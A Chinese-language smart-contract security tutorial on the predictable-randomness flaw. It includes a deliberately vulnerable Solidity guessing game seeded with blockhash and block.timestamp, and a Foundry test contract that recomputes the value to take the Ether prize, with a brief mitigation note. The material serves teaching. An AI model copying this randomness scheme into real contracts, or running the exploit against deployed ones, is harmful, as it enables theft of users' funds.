区块链安全常见的攻击分析——可预测随机数漏洞 Predictable Randomness Vulnerability
- 1.1 漏洞分析
- 1.2 漏洞合约
- 1.3 攻击分析
- 1.4 攻击合约
- 1.5 在sepolia测试网复现Randomness随机数攻击
重点:区块链上的全局变量(如区块哈希、区块号、区块时间戳等)都是可预测的,若以它们为基础生成随机数,攻击者可以通过计算获取随机数的结果。
1.1 漏洞分析
- 只需要知道合约在部署的时候区块number和时间戳就可以求出这个随机数
1.2 漏洞合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";/*
名称: 可预测随机数漏洞 (Predictable Randomness Vulnerability)描述:
使用区块哈希、区块号、区块时间戳等全局变量是不安全的,
因为矿工或攻击者可以操控这些变量。场景:
GuessTheRandomNumber 是一个游戏,如果你能猜中伪随机数,你将赢得 1 Ether。
伪随机数是通过区块哈希和时间戳生成的。乍一看,似乎不可能猜中正确的数字。
但我们来看一下如何轻松获胜。1. Alice 部署 GuessTheRandomNumber 合约并存入 1 Ether
2. Eve 部署攻击合约 Attack
3. Eve 调用 Attack.attack() 并赢得 1 Ether发生了什么?
攻击者通过简单地复制生成随机数的代码,计算出正确答案。缓解措施:
不要使用 blockhash 和 block.timestamp 作为随机数的来源。参考:
https://solidity-by-example.org/hacks/randomness/*/contract GuessTheRandomNumber {constructor() payable {}function guess(uint _guess) public {uint answer = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));console.log("GuessTheRandomNumber-guess()-answer:", answer);if (_guess == answer) {(bool sent, ) = msg.sender.call{value: 1 ether}("");require(sent, "Failed to send Ether");}}
}
1.3 攻击分析
-
直接采用同样的代码获取即可
-
因为猜对后会返回发送的币,所以要注意需要加上receive()接收函数
1.4 攻击合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "forge-std/Test.sol";
import "./Randomness.sol";contract ContractTest is Test {GuessTheRandomNumber GuessRandomContract;address Koko;address Aquarius;function setUp() public {Koko = vm.addr(1);Aquarius = vm.addr(2);vm.deal(address(Koko), 1 ether);vm.deal(address(Aquarius), 1 ether);vm.prank(Koko);GuessRandomContract = new GuessTheRandomNumber{value: 1 ether}();console.log("Randomness_Attack-setUp()");}function testRandomness() public {uint guessAnswer = uint(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)));console.log(" Test-testRandomness()-guessAnswer:", guessAnswer);GuessRandomContract.guess(guessAnswer);}receive() external payable {}
}